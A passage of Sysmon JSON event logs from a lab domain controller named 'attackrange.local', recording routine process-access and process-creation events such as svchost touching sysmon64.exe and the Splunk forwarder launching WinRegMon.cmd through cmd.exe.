11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3693,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.246\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.246","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3694,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.246\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.246","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3695,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.246\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.246","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3696,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.246\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407F-5F2D-0000-0010EF580500}\r\nTargetProcessId: 3236\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.246","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407F-5F2D-0000-0010EF580500}","TargetProcessId":"3236","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3697,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.357\r\nProcessGuid: {90617006-407F-5F2D-0000-0010C25A0500}\r\nProcessId: 4716\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinRegMon.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.357","ProcessGuid":"{90617006-407F-5F2D-0000-0010C25A0500}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinRegMon.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3698,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.356\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3600\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-407F-5F2D-0000-0010C25A0500}\r\nTargetProcessId: 4716\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.356","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3600","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-407F-5F2D-0000-0010C25A0500}","TargetProcessId":"4716","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3699,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.356\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407F-5F2D-0000-0010C25A0500}\r\nTargetProcessId: 4716\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.356","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407F-5F2D-0000-0010C25A0500}","TargetProcessId":"4716","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3700,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.356\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.356","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3701,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.356\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 